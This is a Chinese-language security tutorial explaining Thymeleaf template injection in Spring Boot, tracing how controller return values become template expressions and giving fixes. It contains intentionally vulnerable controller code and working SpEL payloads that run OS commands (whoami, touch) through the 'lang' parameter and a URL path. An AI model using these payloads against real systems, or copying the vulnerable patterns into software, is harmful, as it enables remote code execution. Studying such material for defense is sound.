java安全开发之spring boot Thymeleaf模板注入

0x01 Thymeleaf简介

Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎。顺便说一句，Thymeleaf是spring boot的推荐引擎

0x02 基础知识

Spring Boot 本身就 Spring MVC 的简化版本。是在 Spring MVC 的基础上实现了自动配置，简化了开发人员开发过程。Spring MVC 是通过一个叫 DispatcherServlet 前端控制器的来拦截请求的。而在 Spring Boot 中 使用自动配置把 DispatcherServlet 前端控制器自动配置到框架中。

例如，我们来解析 /users 这个请求

1. DispatcherServlet 前端控制器拦截请求 /users
   

2. servlet 决定使用哪个 handler 处理
3. Spring 检测哪个控制器匹配 /users，Spring 从 @RquestMapping 中查找出需要的信息
4. Spring 找到正确的 Controller 方法后，开始执行 Controller 方法
5. 返回 users 对象列表
6. 根据与客户端交互需要返回 Json 或者 Xml 格式

spring boot 相关注解

• @Controller 处理 Http 请求
• @RestController @Controller 的衍生注解
• @RequestMapping 路由请求 可以设置各种操作方法
• @GetMapping GET 方法的路由
• @PostMapping POST 方法的路由
• @PutMapping PUT 方法的路由
• @DeleteMapping DELETE 方法的路由
• @PathVariable 处理请求 url 路径中的参数 /user/{id}
• @RequestParam 处理问号后面的参数
• @RequestBody 请求参数以json格式提交
• @ResponseBody 返回 json 格式

Controller注解

@Controller 一般应用在有返回界面的应用场景下.例如，管理后台使用了 thymeleaf 作为模板开发，需要从后台直接返回 Model 对象到前台，那么这时候就需要使用 @Controller 来注解。

RequestMapping注解

用来将一个controller添加至路由中

0x03 环境配置

https://github.com/veracode-research/spring-view-manipulation/

我们以spring boot + Thymeleaf模板创建一个带有漏洞的项目。核心代码如下

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }

代码含义如下：用户请求的url为path，参数名称为lang，则服务器通过Thymeleaf模板，去查找相关的模板文件。

例如，用户通过get请求/path?lang=en，则服务器去自动拼接待查找的模板文件名，为resources/templates/en.html，并返回给用户的浏览器。

上面的代码存在两个问题：

1. 是不是存在任意文件读取？
2. 是不是存在诸如模板注入的漏洞？？？

0x04 模板注入分析

spring boot如何查找controller这块我们不分析，因为对于我们不重要。

spring boot在org.springframework.web.servlet.ModelAndView方法中，开始处理用户的请求

	/**
	 * This implementation expects the handler to be an {@link HandlerMethod}.
	 */
	@Override
	@Nullable
	public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
			throws Exception {

		return handleInternal(request, response, (HandlerMethod) handler);
	}

随后在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle方法中，通过invokeForRequest函数，根据用户提供的url，调用相关的controller，并将其返回值，作为待查找的模板文件名，通过Thymeleaf模板引擎去查找，并返回给用户

	/**
	 * Invoke the method and handle the return value through one of the
	 * configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
	 * @param webRequest the current request
	 * @param mavContainer the ModelAndViewContainer for this request
	 * @param providedArgs "given" arguments matched by type (not resolved)
	 */
	public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
			Object... providedArgs) throws Exception {

		Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
		setResponseStatus(webRequest);

		if (returnValue == null) {
			if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
				disableContentCachingIfNecessary(webRequest);
				mavContainer.setRequestHandled(true);
				return;
			}
		}
		else if (StringUtils.hasText(getResponseStatusReason())) {
			mavContainer.setRequestHandled(true);
			return;
		}

		mavContainer.setRequestHandled(false);
		try {
			this.returnValueHandlers.handleReturnValue(
					returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
		}
	}

在函数中，调用this.returnValueHandlers.handleReturnValue去处理返回结果。最终在org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue方法中，将controller返回值作为视图名称。代码如下

	@Override
	public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
			ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {

		if (returnValue instanceof CharSequence) {
			String viewName = returnValue.toString();
			mavContainer.setViewName(viewName);
			if (isRedirectViewName(viewName)) {
				mavContainer.setRedirectModelScenario(true);
			}
		}

spring boot最终在org.springframework.web.servlet.DispatcherServlet#processDispatchResult方法中，调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称，并加载模板，返回给用户。核心代码如下
org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression

        final String viewTemplateName = getTemplateName();
        final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();

      
        final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

        final FragmentExpression fragmentExpression;
        try {
            // By parsing it as a standard expression, we might profit from the expression cache
            fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
        } catch (final TemplateProcessingException e) {
            throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
        }

0x05 不安全的java代码

第一种：

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }

在查找模板中，引用了用户输入的内容

payload

GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8090
Connection: close

第二种

根据spring boot定义，如果controller无返回值，则以GetMapping的路由为视图名称。当然，对于每个http请求来讲，其实就是将请求的url作为视图名称，调用模板引擎去解析。

https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types

在这种情况下，我们只要可以控制请求的controller的参数，一样可以造成RCE漏洞。例如我们可以控制document参数

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

0x06 修复方案

1. 设置ResponseBody注解

如果设置ResponseBody，则不再调用模板解析

2. 设置redirect重定向

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect

根据spring boot定义，如果名称以redirect:开头，则不再调用ThymeleafView解析，调用RedirectView去解析controller的返回值

3. response

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

由于controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP Response，因此不会发生视图名称解析

0x07 参考

1. https://github.com/veracode-research/spring-view-manipulation/
2. https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html